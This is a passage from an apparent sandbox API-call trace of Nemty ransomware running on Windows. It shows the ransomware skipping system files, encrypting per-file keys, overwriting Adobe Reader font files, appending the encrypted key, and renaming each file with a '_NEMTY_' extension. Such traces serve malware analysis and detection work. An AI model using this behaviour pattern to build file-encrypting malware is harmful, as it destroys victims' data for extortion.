(lpString1="MinionPro-Bold.otf", lpString2="appdata") returned 1 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0214.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.287] Sleep (dwMilliseconds=0x5) [0214.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x335e0bb0, dwHighDateTime=0x1d561e8)) [0214.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x335e0bb0, dwHighDateTime=0x1d561e8)) [0214.295] GetLastError () returned 0x0 [0214.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.295] GetLastError () returned 0x0 [0214.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.295] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.295] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0214.296] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="FREdYyQjIK1eihcAtp5dsCLAaSoCj/WdpJQDg0umzY+UXMs647qCmTKNzUWmUyIc\r\n/YHFLQySFIma63Ir/Fy4GUf8uyHKCdK4rW8JpeoNGR49XhtfTcMcTmfC+HOy2vhk\r\nMMcPB8HK+vRPEgoNQbrqHGs2pG2Kw1wluQGJDWX0MJxiQMHSuikScTJFqarusJhL\r\ncDV7PgKj5uzwr3kOXrs0pyrmTO/KpzSiok2FXiolRIFlUzo0KGfkvH3FuWiXqY+B\r\nONPHyMmEPhVKHBQbDD+SBWSZwfAsb9EwcZyqCAWeVspUQMneGJw2Fl3/7weuw2VM\r\nYBCy0UtjGITL+DqNMBJySQ==\r\n", pcchString=0x653e91c) returned 1 [0214.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0214.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0214.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.296] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=230912) returned 1 [0214.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.296] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.296] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.305] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.305] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.306] SetFilePointer (in: hFile=0x254, lDistanceToMove=230912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38600 [0214.306] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.306] CloseHandle (hObject=0x254) returned 1 [0214.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.306] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-bold.otf._nemty_kgobjgd_")) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.307] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f7b8140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43898, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="MINION~3.OTF")) returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2=".") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="..") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="...") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="windows") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="rsa") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="NTDETECT.COM") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="ntldr") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="MSDOS.SYS") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="IO.SYS") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="boot.ini") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="boot.ini") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="ntuser.dat") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="desktop.ini") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="CONFIG.SYS") returned 1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="RECYCLER") returned -1 [0214.307] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.308] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="bootmgr") returned 1 [0214.308] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="programdata") returned -1 [0214.308] lstrcmpiW (lpString1="MinionPro-BoldIt.otf", lpString2="appdata") returned 1 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.308] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MinionPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MinionPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.308] Sleep (dwMilliseconds=0x5) [0214.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33606d10, dwHighDateTime=0x1d561e8)) [0214.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33606d10, dwHighDateTime=0x1d561e8)) [0214.311] GetLastError () returned 0x0 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.311] GetLastError () returned 0x0 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.311] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.311] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.311] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.311] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="mKH8HFkkF2LY0vzJFt8Csc2pr08ZcSXSbEA6NU8YCh5DwA5oV/Hu67whJDxgdy9T\r\nxqYV4Wyh8Fn+5nddigUAT6DacclvAY9C/HuQ8Rvehq6i2rrZZ0YNu5nKvULVIhox\r\nrKlxdLWTCH2Wj6ZQLbp9jOffLINEmSpYeZLk8Tx20RlplNUaXOGhZkouf4soK3lI\r\nB6QYofdlCoufnpi1KlX+N1Rm+EzdpnIR1KqoVuF6s26jioTgrreCaAmD9TOQIHrC\r\n5fWy4zm9LsvpChxGjfidQp9YeZdjhNkq8EquTDbXCB2+6+WqiA/W09Sd9HY7DBiu\r\npSBA2/Z1i0+5FkiY4Q6/Rw==\r\n", pcchString=0x653e91c) returned 1 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.311] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.311] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-boldit.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.312] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=276632) returned 1 [0214.312] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0214.312] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.312] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x19000, lpOverlapped=0x0) returned 1 [0214.322] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.322] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.322] SetFilePointer (in: hFile=0x254, lDistanceToMove=276632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x43898 [0214.322] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.324] CloseHandle (hObject=0x254) returned 1 [0214.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.324] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.324] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-boldit.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-BoldIt.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-boldit.otf._nemty_kgobjgd_")) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.325] HeapFree (in: hHeap=0x4f90000, 